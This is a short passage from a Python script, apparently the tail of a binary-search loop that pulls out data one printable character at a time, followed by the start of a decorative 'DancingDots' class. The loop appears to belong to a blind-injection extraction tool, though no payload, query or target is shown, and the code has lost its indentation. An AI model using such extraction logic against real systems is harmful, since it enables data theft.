mid = (low + high) // 2
if 32 <= low <= 126:
extracted_data += chr(low)
print_color("+", f"Value found {chr(low)} at position {position}")
found_match = True
position += 1
continue
else:
print_color("*", f"No valid match found at position {position}. Stopping extraction.")
break
else:
print_color("*", f"No match found at position {position}. Stopping extraction.")
break
return extracted_data
### Prompts and Fun Stuff (:
class DancingDots:
def __init__(self, message, symbol='*'):